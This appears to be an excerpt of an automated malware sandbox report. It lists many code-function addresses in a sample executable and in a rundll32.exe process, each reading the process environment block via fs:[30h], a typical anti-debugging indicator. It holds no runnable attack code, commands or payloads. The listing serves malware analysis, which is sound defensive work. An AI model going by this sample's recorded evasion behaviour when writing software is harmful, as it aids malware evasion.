Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01943B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019946A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01958EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019436CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019CFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019276E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019416E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01933A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01948E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01928A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019CFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01954A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01954A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019A4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01927E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0195927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019CB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019CB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C3884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049890AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A014FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049458EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A1740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A1740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A1740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A14015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A14015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04960050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04960050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A02073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A11074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972990 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A105AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A105AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04942D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04942D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04942D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04942D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04942D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04971DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04971DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04971DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C51BE mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049735A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049761A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049761A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C69A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049F8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049D41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04953D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049CA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04967D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04983D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A10EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A10EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A10EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049452A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049736CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049FFEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04988EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049716E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049576E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04945210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04945210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04945210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04945210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04963A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494C600 mov eax, dword ptr fs:[00000030h]
